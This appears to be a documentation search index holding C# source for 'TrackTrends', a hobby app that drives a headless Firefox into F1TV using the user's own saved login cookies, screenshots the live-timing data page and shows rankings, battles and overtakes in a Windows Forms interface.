/// Method that will recover the needed cookies in the DB /// /// The host of the wanted cookie ex: ./formula1.com /// The name of the wanted cookie ex: login /// returns the value of the cookie if it has been found /// public string GetCookie ( string host , string name ) { StartCookieRecovering (); string value = \"\" ; List < Cookie > cookies = new List < Cookie >(); if ( File . Exists ( COOKIES_CSV_FILENAME )) { using ( var reader = new StreamReader ( COOKIES_CSV_FILENAME )) { // Read the header row and validate column order string header = reader . ReadLine (); string [] expectedColumns = { \"host_key\" , \"name\" , \"value\" , \"path\" , \"expires_utc\" , \"is_secure\" , \"is_httponly\" }; string [] actualColumns = header . Split ( ',' ); for ( int i = 0 ; i < expectedColumns . Length ; i ++) { if ( expectedColumns [ i ] != actualColumns [ i ]) { throw new InvalidOperationException ( $\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\" ); } } // Read each data row and parse values into a Cookie object while (! reader . EndOfStream ) { string line = reader . ReadLine (); string [] fields = line . Split ( ',' ); string hostname = fields [ 0 ]; string cookieName = fields [ 1 ]; if ( hostname == host && cookieName == name ) { value = fields [ 2 ]; } } } } return value ; } /// /// Starts the headless browser /// /// Error code 1xx public async Task < int > Start () { Ready = false ; string loginCookieName = \"login\" ; string loginSessionCookieName = \"login-session\" ; string loginCookieValue = GetCookie ( COOKIE_HOST , loginCookieName ); string loginSessionValue = GetCookie ( COOKIE_HOST , loginSessionCookieName ); //Cookie retreival has gone wrong (usually its because of python not being installed properly) if ( loginCookieValue == \"\" || loginSessionValue == \"\" ) return 100 ; var service = FirefoxDriverService . CreateDefaultService ( GECKODRIVER_FILENAME ); service . Host = \"127.0.0.1\" ; service . Port = 5555 ; FirefoxProfile profile = new FirefoxProfile (); FirefoxOptions options = new FirefoxOptions (); //profile.SetPreference(\"full-screen-api.ignore-widgets\", true); //profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); //profile.SetPreference(\"full-screen-api.enabled\", true); options . Profile = profile ; profile . SetPreference ( \"layout.css.devPixelsPerPx\" , \"1.0\" ); options . AcceptInsecureCertificates = true ; options . AddArgument ( \"--headless\" ); //options.AddArgument(\"--start-maximized\"); //options.AddArgument(\"--window-size=1920x1080\"); //options.AddArgument(\"--width=\" + windowWidth); //options.AddArgument(\"--height=\" + windowHeight); //options.AddArgument(\"-window-size=1920x1080\"); //options.AddArgument(\"--width=1920\"); //options.AddArgument(\"--height=1080\"); //profile try { Driver = new FirefoxDriver ( service , options ); } catch { Ready = false ; return 101 ; } Actions actions = new Actions ( Driver ); var loginCookie = new Cookie ( loginCookieName , loginCookieValue , COOKIE_HOST , \"/\" , DateTime . Now . AddDays ( 5 )); var loginSessionCookie = new Cookie ( loginSessionCookieName , loginSessionValue , COOKIE_HOST , \"/\" , DateTime . Now . AddDays ( 5 )); Driver . Navigate (). GoToUrl ( \"https://f1tv.formula1.com/\" ); Driver . Manage (). Cookies . AddCookie ( loginCookie ); Driver . Manage (). Cookies . AddCookie ( loginSessionCookie ); try { Driver . Navigate (). GoToUrl ( GrandPrixUrl ); } catch { //The url is not a valid url Driver . Dispose (); return 103 ; } //Waits for the page to fully load Driver . Manage (). Timeouts (). PageLoad = TimeSpan . FromSeconds ( 30 ); //Removes the cookie prompt try { IWebElement conscentButton = Driver . FindElement ( By . Id ( \"truste-consent-button\" )); conscentButton . Click (); } catch { //Could not locate the cookie button Screenshot ( \"ERROR104\" ); Driver . Dispose (); return 104 ; } //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load) //Cannot use The timeout because the feed loading is not really loading so there is not event or anything Thread . Sleep ( 5000 ); //Switches to the Data channel try { IWebElement dataChannelButton = Driver . FindElement ( By . ClassName ( \"data-button\" )); dataChannelButton . Click (); } catch { //If the data button does not exists its because the user is not connected Screenshot ( \"ERROR102\" ); Driver . Dispose (); return 102 ; } //Open settings // Press the space key, this should make the setting button visible // It does not matter if the feed is paused because when changing channel it autoplays actions . SendKeys ( OpenQA . Selenium . Keys . Space ). Perform (); //Clicks on the settings Icon int settingsClickTries = 0 ; bool settingsClickSuccess = false ; while ( settingsClickTries < 100 && ! settingsClickSuccess ) { Thread . Sleep ( 100 ); try { IWebElement settingsButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-settingstogglebutton\" )); settingsButton . Click (); IWebElement selectElement = Driver . FindElement ( By . ClassName ( \"bmpui-ui-videoqualityselectbox\" )); SelectElement select = new SelectElement ( selectElement ); IWebElement selectOption = selectElement . FindElement ( By . CssSelector ( \"option[value^='1080_']\" )); selectOption . Click (); settingsClickSuccess = true ; } catch { //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry settingsClickSuccess = false ; settingsClickTries ++; } } if (! settingsClickSuccess ) { Screenshot ( \"ERROR105\" ); Driver . Dispose (); return 105 ; } Screenshot ( \"BEFOREFULLSCREEN\" ); //Makes the feed fullscreen int fullScreenClickTries = 0 ; bool fullScreenClickSuccess = false ; Driver . Manage (). Window . Maximize (); //WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); while ( fullScreenClickTries < 100 && ! fullScreenClickSuccess ) { Thread . Sleep ( 150 ); try { IWebElement fullScreenButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-fullscreentogglebutton\" )); fullScreenButton . Click (); fullScreenClickSuccess = true ; } catch { fullScreenClickSuccess = false ; fullScreenClickTries ++; } } if (! fullScreenClickSuccess ) { Screenshot ( \"ERROR106\" ); Driver . Dispose (); return 106 ; } Screenshot ( \"AFTERFULLSCREEN\" ); //STARTUP FINISHED READY TO SCREENSHOT Ready = true ; return 0 ; } /// /// Takes a screenshot of what the headless browser is displaying /// /// Optional ! The name of the picture so it can be saved /// Returns the screenshot in the bitmap format public Bitmap Screenshot ( string name = \"TEST\" ) { Bitmap result = new Bitmap ( 4242 , 6969 ); try { //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot(); //profileriver.SetPreferencC:\\Users\\Moi\\source\\repos\\Test_Merge\\README.mde(\"layout.css.devPixelsPerPx\", \"1.0\"); //Screenshot scrsht = Driver.GetFullPageScreenshot(); Screenshot scrsht = Driver . GetScreenshot (); byte [] screenshotBytes = Convert . FromBase64String ( scrsht . AsBase64EncodedString ); MemoryStream stream = new MemoryStream ( screenshotBytes ); result = new Bitmap ( stream ); //result.Save(name + \".png\"); scrsht . SaveAsFile ( name + \".png\" ); } catch { //Nothing for now } return result ; } /// /// Stops the Emulation. Note: if you plan to start it again please use ResetDriver() instead /// public void Stop () { Ready = false ; if ( Driver != null ) Driver . Dispose (); } /// /// Resets the emulation /// public void ResetDriver () { Ready = false ; if ( Driver != null ) Driver . Dispose (); Driver = null ; } } }","title":"F1TVEmulator.cs"},{"location":"Code/Form1.html","text":"Form1.cs using System ; using System.Collections.Generic ; using System.ComponentModel ; using System.Data ; using System.Diagnostics ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.IO ; namespace TrackTrends { public partial class Main : Form { //private Reader Reader = null; private F1TVEmulator Emulator = null ; private DataWrapper Wrapper = null ; private bool cancelRequested = false ; private SemaphoreSlim semaphore = new SemaphoreSlim ( 1 ); string ConfigFile = \"\" ; string GpUrl = \"\" ; //For the responsive content Size oldSize = new Size (); Size oldRankingSize = new Size (); Size oldLapTimesSize = new Size (); Size oldBattles = new Size (); Size oldPnlBattles = new Size (); Size oldPnlRankings = new Size (); Size oldPnlFastest = new Size (); Size oldPnlSlowest = new Size (); Point oldRankingPosition = new Point (); Point oldBattlePosition = new Point (); Point oldDriverInfoPosition = new Point (); Point olPnlFastestPosition = new Point (); Point oldPnlSlowestPosition = new Point (); public Main () { InitializeComponent (); } public async void RefreshUI () { if ( Directory . Exists ( ConfigurationTool . CONFIGS_FOLDER_NAME )) { lsbPresets . DataSource = null ; lsbPresets . DataSource = Directory . GetFiles ( ConfigurationTool . CONFIGS_FOLDER_NAME ); } } private async void btnSettings_Click ( object sender , EventArgs e ) { if ( Emulator != null ) Emulator . ResetDriver (); btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = false ; btnResetEmulator . Text = \"Launch\" ; Emulator = null ; Wrapper = null ; GC . Collect (); Settings settingsForm = new Settings (); settingsForm . ShowDialog (); RefreshUI (); //MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); if ( settingsForm . GrandPrixUrl != \"\" && settingsForm . SelectedConfigFile != \"\" ) { GpUrl = settingsForm . GrandPrixUrl ; tbxGpUrl . Text = GpUrl ; if ( File . Exists ( settingsForm . SelectedConfigFile )) { ConfigFile = settingsForm . SelectedConfigFile ; for ( int i = 0 ; i < lsbPresets . Items . Count ; i ++) { if ( lsbPresets . Items [ i ]. ToString () == ConfigFile ) lsbPresets . SelectedIndex = i ; } } else { MessageBox . Show ( \"The config file has not been found please return to the config and change it\" ); } } else { //WE dont care anymore, the user will choose its Grand Prix himself in the main program //MessageBox.Show(\"There is no URL for the Grand Prix you want to decode. Please return to the config and add a valid one\"); } } private async void Form1_Load ( object sender , EventArgs e ) { //Those are the default values but they will need to be changed later when the configuration has been done ConfigFile = \"./Presets/Clean_4K_2023.json\" ; GpUrl = \"https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play\" ; tbxGpUrl . Text = GpUrl ; oldSize = this . Size ; oldRankingSize = gpbxRanking . Size ; oldLapTimesSize = gpbxLapTimes . Size ; oldBattles = gpbxBattles . Size ; oldPnlRankings = pnlLiveRanking . Size ; oldPnlBattles = pnlBattles . Size ; oldPnlFastest = pnlFastest . Size ; oldPnlSlowest = pnlSlowest . Size ; oldRankingPosition = gpbxRanking . Location ; oldBattlePosition = gpbxBattles . Location ; oldDriverInfoPosition = gpbxDriverInfos . Location ; olPnlFastestPosition = pnlFastest . Location ; oldPnlSlowestPosition = pnlSlowest . Location ; tip1 . SetToolTip ( btnResetEmulator , \"Starts or restarts the emulator. You need to start this to use the app\" ); tip1 . SetToolTip ( btnSettings , \"Opens the configuration menu\" ); tip1 . SetToolTip ( tbxGpUrl , \"Insert the URL of the Grand Prix you want to track. Dont forget the \\\"?action=play\\\" at the end\" ); tip1 . SetToolTip ( lsbPresets , \"Select a configuration preset to use with the decoding\" ); tip1 . SetToolTip ( pbxResult , \"A preview of what the program sees. You should see the DATA page of the F1TV here\" ); tip1 . SetToolTip ( lsbOvertakes , \"A list of all the activity. You can scroll to see the most recent overtakes\" ); tip1 . SetToolTip ( gpbxBattles , \"The four first battles in the field. A battle is two drivers less than 3 seconds apart\" ); tip1 . SetToolTip ( gpbxLapTimes , \"The fastest and slowest drivers on track at the moment. It takes the average lapTime of the last 5 laps to choose who is the fastes or the slowest\" ); RefreshUI (); } private async void btnUpdate_Click ( object sender , EventArgs e ) { cancelRequested = false ; if ( Emulator != null && Wrapper != null ) { // Disable UI controls to prevent re-entrancy btnResetEmulator . Enabled = false ; btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = true ; btnSettings . Enabled = false ; while (! cancelRequested ) { await semaphore . WaitAsync (); try { // Start the time-consuming task on a separate thread await Task . Run ( async () => { Stopwatch sw = new Stopwatch (); sw . Start (); Bitmap screen = Emulator . Screenshot (); screen . Save ( \"HopefullyDataScreenshot.png\" ); Invoke (( MethodInvoker ) delegate { pbxResult . Image = ( Bitmap ) screen . Clone (); }); Wrapper . ChangeImage ( screen ); int errorCode = Wrapper . Refresh (); sw . Stop (); // Task completed Invoke (( MethodInvoker ) delegate { DisplayResults ( errorCode , sw , screen ); DisplayBattles (); DisplayDeltas (); DisplayOvertakes (); }); }); } finally { semaphore . Release (); } } // Re-enable UI controls btnStopUpdating . Text = \"Stop\" ; btnStartDecoding . Enabled = true ; btnStopUpdating . Enabled = false ; btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; } } private void DisplayOvertakes () { Wrapper . DisplayOvertakes ( lsbOvertakes ); } private void DisplayBattles () { Wrapper . DisplayBattles ( pnlBattles , this ); } private void DisplayDeltas () { Wrapper . DisplayTimesDeltas ( pnlFastest , pnlSlowest , this ); } private void Form1_FormClosing ( object sender , FormClosingEventArgs e ) { if ( Emulator != null ) { Emulator . Stop (); } } private void DisplayResults ( int errorCode , Stopwatch sw , Bitmap screen ) { if ( errorCode != 0 ) { cancelRequested = true ; MessageBox . Show ( \"An error has occured while trying to recover data from live feed. This can happen sometimes. I would advise you to restart a few times. If the problem persists check your configuration.\" ); } else { Wrapper . DisplayLiveRanking ( pnlLiveRanking , this ); } } private void btnStopUpdating_Click ( object sender , EventArgs e ) { // Set the cancellation flag cancelRequested = true ; btnStopUpdating . Enabled = false ; btnResetEmulator . Enabled = false ; btnStopUpdating . Text = \"Stopping\" ; } private async void button1_Click ( object sender , EventArgs e ) { lsbOvertakes . Items . Clear (); btnResetEmulator . Text = \"Launching\" ; btnResetEmulator . Enabled = false ; btnSettings . Enabled = true ; btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = false ; btnSettings . Enabled = false ; int errorCode = - 1 ; await Task . Run ( async () => { if ( Emulator != null ) Emulator . ResetDriver (); Emulator = null ; Wrapper = null ; GC . Collect (); Emulator = new F1TVEmulator ( GpUrl ); errorCode = await Emulator . Start (); }); if ( errorCode != 0 ) { string message = \"\" ; switch ( errorCode ) { case 100 : message = \"Error \" + errorCode + \" Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again\" ; break ; case 101 : message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\" ; break ; case 102 : message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\" ; break ; case 103 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 104 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 105 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; case 106 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; default : message = \"Could not start the emulator Error \" + errorCode ; break ; } MessageBox . Show ( message ); btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; btnResetEmulator . Text = \"Retry\" ; } else { Wrapper = new DataWrapper ( ConfigFile , Emulator . Screenshot ()); btnResetEmulator . Text = \"Re launch\" ; btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; btnStartDecoding . Enabled = true ; } } private void removeBorders ( object sender , PaintEventArgs e ) { GroupBox gpbx = ( GroupBox ) sender ; using ( Pen pen = new Pen ( gpbx . BackColor , 50 )) { e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); } using ( var brush = new SolidBrush ( gpbx . ForeColor )) { var textPosition = new Point ( 5 , 0 ); // Adjust the X and Y values as needed e . Graphics . DrawString ( gpbx . Text , gpbx . Font , brush , textPosition ); } } private void lsbPresets_SelectedIndexChanged ( object sender , EventArgs e ) { if ( lsbPresets . SelectedIndex >= 0 ) ConfigFile = lsbPresets . Items [ lsbPresets . SelectedIndex ]. ToString (); } private void textBox1_TextChanged ( object sender , EventArgs e ) { if ( tbxGpUrl . Text != \"\" ) GpUrl = tbxGpUrl . Text ; } public void btnDriver_Click ( object sender , EventArgs e ) { //Removes the cover if ( pnlCover . Visible = true ) pnlCover . Visible = false ; //Happens when a driver button has been clicked //MessageBox.Show((sender as Button).Name + \" has been selected\"); Button btn = ( sender as Button ); string [] parts = btn . Name . Split ( '_' ); DriverData driver = Wrapper . GetFullDriverData ( parts [ 0 ], pnlCurrentDriverLapsHistory , this ); lblCurrentDriverName . Text = driver . Name ; lblCurrentDriverPosition . Text = driver . Position . ToString (); lblCurrentDriverGapToLeader . Text = Reader . ConvertMsToTime ( driver . GapToLeader ); lblCurrentDriverLapTime . Text = Reader . ConvertMsToTime ( driver . LapTime ); lblCurrentDriverTyreAge . Text = driver . CurrentTyre . NumberOfLaps . ToString (); if ( driver . DRS ) { lblCurrentDriverDRS . Text = \"Open\" ; lblCurrentDriverDRS . ForeColor = Color . FromArgb ( 0 , 164 , 46 ); } else { lblCurrentDriverDRS . Text = \"Closed\" ; lblCurrentDriverDRS . ForeColor = Color . Black ; } switch ( driver . CurrentTyre . Coumpound ) { case Tyre . Type . Undefined : lblCurrentDriverTyreType . Text = \"uuuuh...\" ; lblCurrentDriverTyreType . ForeColor = Color . Violet ; break ; case Tyre . Type . Hard : lblCurrentDriverTyreType . Text = \"Hard\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 164 , 165 , 168 ); break ; case Tyre . Type . Medium : lblCurrentDriverTyreType . Text = \"Medium\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 245 , 191 , 0 ); break ; case Tyre . Type . Soft : lblCurrentDriverTyreType . Text = \"Soft\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 255 , 0 , 0 ); break ; case Tyre . Type . Inter : lblCurrentDriverTyreType . Text = \"Intermediate\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 0 , 164 , 46 ); break ; case Tyre . Type . Wet : lblCurrentDriverTyreType . Text = \"Wet\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 39 , 96 , 166 ); break ; } } public void btnLapTime_Click ( object sender , EventArgs e ) { //Happens when a lapTime has been clicked Button btn = sender as Button ; string [] parts = btn . Name . Split ( '_' ); Wrapper . DisplayLapTimeInfos ( parts [ 0 ], Convert . ToInt32 ( parts [ 1 ]), btn . Text ); } private void Main_Resize ( object sender , EventArgs e ) { int xDiff = this . Width - oldSize . Width ; int yDiff = this . Height - oldSize . Height ; int padding = 10 ; //This will take half the newly created space gpbxRanking . Size = new Size ( oldRankingSize . Width + xDiff / 2 , oldRankingSize . Height + yDiff ); gpbxRanking . Location = new Point ( oldRankingPosition . X + xDiff / 2 , gpbxRanking . Location . Y ); //Will take half the new height and half the new height gpbxLapTimes . Size = new Size ( oldLapTimesSize . Width + xDiff / 2 , oldLapTimesSize . Height + yDiff / 2 ); //Will take half the new height and half the new width gpbxBattles . Size = new Size ( oldBattles . Width + xDiff / 2 , oldBattles . Height + yDiff / 2 ); gpbxBattles . Location = new Point ( gpbxBattles . Location . X , oldBattlePosition . Y + yDiff / 2 ); //The infos wont change width but will need to be centerd Point startOfZone = new Point ( gpbxOvertakes . Width + gpbxOvertakes . Location . X , gpbxOvertakes . Location . Y ); Point endOfZone = new Point ( gpbxRanking . Location . X , gpbxOvertakes . Location . Y ); int totalWidth = endOfZone . X - startOfZone . X ; gpbxDriverInfos . Location = new Point ( startOfZone . X + ( totalWidth / 2 - gpbxDriverInfos . Width / 2 ), oldDriverInfoPosition . Y + yDiff ); //Now resizing internals pnlFastest . Size = new Size ( oldPnlFastest . Width + xDiff / 4 , oldPnlFastest . Height + yDiff / 4 ); pnlFastest . Location = new Point ( olPnlFastestPosition . X , olPnlFastestPosition . Y + yDiff / 4 ); pnlSlowest . Size = new Size ( oldPnlSlowest . Width + xDiff / 4 , oldPnlSlowest . Height + yDiff / 4 ); pnlSlowest . Location = new Point ( oldPnlSlowestPosition . X + xDiff / 4 , oldPnlSlowestPosition . Y + yDiff / 4 ); pnlBattles . Size = new Size ( oldPnlBattles . Width + xDiff / 2 , oldPnlBattles . Height + yDiff / 2 ); pnlLiveRanking . Size = new Size ( oldPnlRankings . Width + xDiff / 2 , oldPnlRankings . Height + yDiff ); } } }","title":"Form1.cs"},{"location":"Code/Form1.html#form1cs","text":"using System ; using System.Collections.Generic ; using System.ComponentModel ; using System.Data ; using System.Diagnostics ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.IO ; namespace TrackTrends { public partial class Main : Form { //private Reader Reader = null; private F1TVEmulator Emulator = null ; private DataWrapper Wrapper = null ; private bool cancelRequested = false ; private SemaphoreSlim semaphore = new SemaphoreSlim ( 1 ); string ConfigFile = \"\" ; string GpUrl = \"\" ; //For the responsive content Size oldSize = new Size (); Size oldRankingSize = new Size (); Size oldLapTimesSize = new Size (); Size oldBattles = new Size (); Size oldPnlBattles = new Size (); Size oldPnlRankings = new Size (); Size oldPnlFastest = new Size (); Size oldPnlSlowest = new Size (); Point oldRankingPosition = new Point (); Point oldBattlePosition = new Point (); Point oldDriverInfoPosition = new Point (); Point olPnlFastestPosition = new Point (); Point oldPnlSlowestPosition = new Point (); public Main () { InitializeComponent (); } public async void RefreshUI () { if ( Directory . Exists ( ConfigurationTool . CONFIGS_FOLDER_NAME )) { lsbPresets . DataSource = null ; lsbPresets . DataSource = Directory . GetFiles ( ConfigurationTool . CONFIGS_FOLDER_NAME ); } } private async void btnSettings_Click ( object sender , EventArgs e ) { if ( Emulator != null ) Emulator . ResetDriver (); btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = false ; btnResetEmulator . Text = \"Launch\" ; Emulator = null ; Wrapper = null ; GC . Collect (); Settings settingsForm = new Settings (); settingsForm . ShowDialog (); RefreshUI (); //MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); if ( settingsForm . GrandPrixUrl != \"\" && settingsForm . SelectedConfigFile != \"\" ) { GpUrl = settingsForm . GrandPrixUrl ; tbxGpUrl . Text = GpUrl ; if ( File . Exists ( settingsForm . SelectedConfigFile )) { ConfigFile = settingsForm . SelectedConfigFile ; for ( int i = 0 ; i < lsbPresets . Items . Count ; i ++) { if ( lsbPresets . Items [ i ]. ToString () == ConfigFile ) lsbPresets . SelectedIndex = i ; } } else { MessageBox . Show ( \"The config file has not been found please return to the config and change it\" ); } } else { //WE dont care anymore, the user will choose its Grand Prix himself in the main program //MessageBox.Show(\"There is no URL for the Grand Prix you want to decode. Please return to the config and add a valid one\"); } } private async void Form1_Load ( object sender , EventArgs e ) { //Those are the default values but they will need to be changed later when the configuration has been done ConfigFile = \"./Presets/Clean_4K_2023.json\" ; GpUrl = \"https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play\" ; tbxGpUrl . Text = GpUrl ; oldSize = this . Size ; oldRankingSize = gpbxRanking . Size ; oldLapTimesSize = gpbxLapTimes . Size ; oldBattles = gpbxBattles . Size ; oldPnlRankings = pnlLiveRanking . Size ; oldPnlBattles = pnlBattles . Size ; oldPnlFastest = pnlFastest . Size ; oldPnlSlowest = pnlSlowest . Size ; oldRankingPosition = gpbxRanking . Location ; oldBattlePosition = gpbxBattles . Location ; oldDriverInfoPosition = gpbxDriverInfos . Location ; olPnlFastestPosition = pnlFastest . Location ; oldPnlSlowestPosition = pnlSlowest . Location ; tip1 . SetToolTip ( btnResetEmulator , \"Starts or restarts the emulator. You need to start this to use the app\" ); tip1 . SetToolTip ( btnSettings , \"Opens the configuration menu\" ); tip1 . SetToolTip ( tbxGpUrl , \"Insert the URL of the Grand Prix you want to track. Dont forget the \\\"?action=play\\\" at the end\" ); tip1 . SetToolTip ( lsbPresets , \"Select a configuration preset to use with the decoding\" ); tip1 . SetToolTip ( pbxResult , \"A preview of what the program sees. You should see the DATA page of the F1TV here\" ); tip1 . SetToolTip ( lsbOvertakes , \"A list of all the activity. You can scroll to see the most recent overtakes\" ); tip1 . SetToolTip ( gpbxBattles , \"The four first battles in the field. A battle is two drivers less than 3 seconds apart\" ); tip1 . SetToolTip ( gpbxLapTimes , \"The fastest and slowest drivers on track at the moment. It takes the average lapTime of the last 5 laps to choose who is the fastes or the slowest\" ); RefreshUI (); } private async void btnUpdate_Click ( object sender , EventArgs e ) { cancelRequested = false ; if ( Emulator != null && Wrapper != null ) { // Disable UI controls to prevent re-entrancy btnResetEmulator . Enabled = false ; btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = true ; btnSettings . Enabled = false ; while (! cancelRequested ) { await semaphore . WaitAsync (); try { // Start the time-consuming task on a separate thread await Task . Run ( async () => { Stopwatch sw = new Stopwatch (); sw . Start (); Bitmap screen = Emulator . Screenshot (); screen . Save ( \"HopefullyDataScreenshot.png\" ); Invoke (( MethodInvoker ) delegate { pbxResult . Image = ( Bitmap ) screen . Clone (); }); Wrapper . ChangeImage ( screen ); int errorCode = Wrapper . Refresh (); sw . Stop (); // Task completed Invoke (( MethodInvoker ) delegate { DisplayResults ( errorCode , sw , screen ); DisplayBattles (); DisplayDeltas (); DisplayOvertakes (); }); }); } finally { semaphore . Release (); } } // Re-enable UI controls btnStopUpdating . Text = \"Stop\" ; btnStartDecoding . Enabled = true ; btnStopUpdating . Enabled = false ; btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; } } private void DisplayOvertakes () { Wrapper . DisplayOvertakes ( lsbOvertakes ); } private void DisplayBattles () { Wrapper . DisplayBattles ( pnlBattles , this ); } private void DisplayDeltas () { Wrapper . DisplayTimesDeltas ( pnlFastest , pnlSlowest , this ); } private void Form1_FormClosing ( object sender , FormClosingEventArgs e ) { if ( Emulator != null ) { Emulator . Stop (); } } private void DisplayResults ( int errorCode , Stopwatch sw , Bitmap screen ) { if ( errorCode != 0 ) { cancelRequested = true ; MessageBox . Show ( \"An error has occured while trying to recover data from live feed. This can happen sometimes. I would advise you to restart a few times. If the problem persists check your configuration.\" ); } else { Wrapper . DisplayLiveRanking ( pnlLiveRanking , this ); } } private void btnStopUpdating_Click ( object sender , EventArgs e ) { // Set the cancellation flag cancelRequested = true ; btnStopUpdating . Enabled = false ; btnResetEmulator . Enabled = false ; btnStopUpdating . Text = \"Stopping\" ; } private async void button1_Click ( object sender , EventArgs e ) { lsbOvertakes . Items . Clear (); btnResetEmulator . Text = \"Launching\" ; btnResetEmulator . Enabled = false ; btnSettings . Enabled = true ; btnStartDecoding . Enabled = false ; btnStopUpdating . Enabled = false ; btnSettings . Enabled = false ; int errorCode = - 1 ; await Task . Run ( async () => { if ( Emulator != null ) Emulator . ResetDriver (); Emulator = null ; Wrapper = null ; GC . Collect (); Emulator = new F1TVEmulator ( GpUrl ); errorCode = await Emulator . Start (); }); if ( errorCode != 0 ) { string message = \"\" ; switch ( errorCode ) { case 100 : message = \"Error \" + errorCode + \" Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again\" ; break ; case 101 : message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\" ; break ; case 102 : message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\" ; break ; case 103 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 104 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 105 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; case 106 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; default : message = \"Could not start the emulator Error \" + errorCode ; break ; } MessageBox . Show ( message ); btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; btnResetEmulator . Text = \"Retry\" ; } else { Wrapper = new DataWrapper ( ConfigFile , Emulator . Screenshot ()); btnResetEmulator . Text = \"Re launch\" ; btnResetEmulator . Enabled = true ; btnSettings . Enabled = true ; btnStartDecoding . Enabled = true ; } } private void removeBorders ( object sender , PaintEventArgs e ) { GroupBox gpbx = ( GroupBox ) sender ; using ( Pen pen = new Pen ( gpbx . BackColor , 50 )) { e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); } using ( var brush = new SolidBrush ( gpbx . ForeColor )) { var textPosition = new Point ( 5 , 0 ); // Adjust the X and Y values as needed e . Graphics . DrawString ( gpbx . Text , gpbx . Font , brush , textPosition ); } } private void lsbPresets_SelectedIndexChanged ( object sender , EventArgs e ) { if ( lsbPresets . SelectedIndex >= 0 ) ConfigFile = lsbPresets . Items [ lsbPresets . SelectedIndex ]. ToString (); } private void textBox1_TextChanged ( object sender , EventArgs e ) { if ( tbxGpUrl . Text != \"\" ) GpUrl = tbxGpUrl . Text ; } public void btnDriver_Click ( object sender , EventArgs e ) { //Removes the cover if ( pnlCover . Visible = true ) pnlCover . Visible = false ; //Happens when a driver button has been clicked //MessageBox.Show((sender as Button).Name + \" has been selected\"); Button btn = ( sender as Button ); string [] parts = btn . Name . Split ( '_' ); DriverData driver = Wrapper . GetFullDriverData ( parts [ 0 ], pnlCurrentDriverLapsHistory , this ); lblCurrentDriverName . Text = driver . Name ; lblCurrentDriverPosition . Text = driver . Position . ToString (); lblCurrentDriverGapToLeader . Text = Reader . ConvertMsToTime ( driver . GapToLeader ); lblCurrentDriverLapTime . Text = Reader . ConvertMsToTime ( driver . LapTime ); lblCurrentDriverTyreAge . Text = driver . CurrentTyre . NumberOfLaps . ToString (); if ( driver . DRS ) { lblCurrentDriverDRS . Text = \"Open\" ; lblCurrentDriverDRS . ForeColor = Color . FromArgb ( 0 , 164 , 46 ); } else { lblCurrentDriverDRS . Text = \"Closed\" ; lblCurrentDriverDRS . ForeColor = Color . Black ; } switch ( driver . CurrentTyre . Coumpound ) { case Tyre . Type . Undefined : lblCurrentDriverTyreType . Text = \"uuuuh...\" ; lblCurrentDriverTyreType . ForeColor = Color . Violet ; break ; case Tyre . Type . Hard : lblCurrentDriverTyreType . Text = \"Hard\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 164 , 165 , 168 ); break ; case Tyre . Type . Medium : lblCurrentDriverTyreType . Text = \"Medium\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 245 , 191 , 0 ); 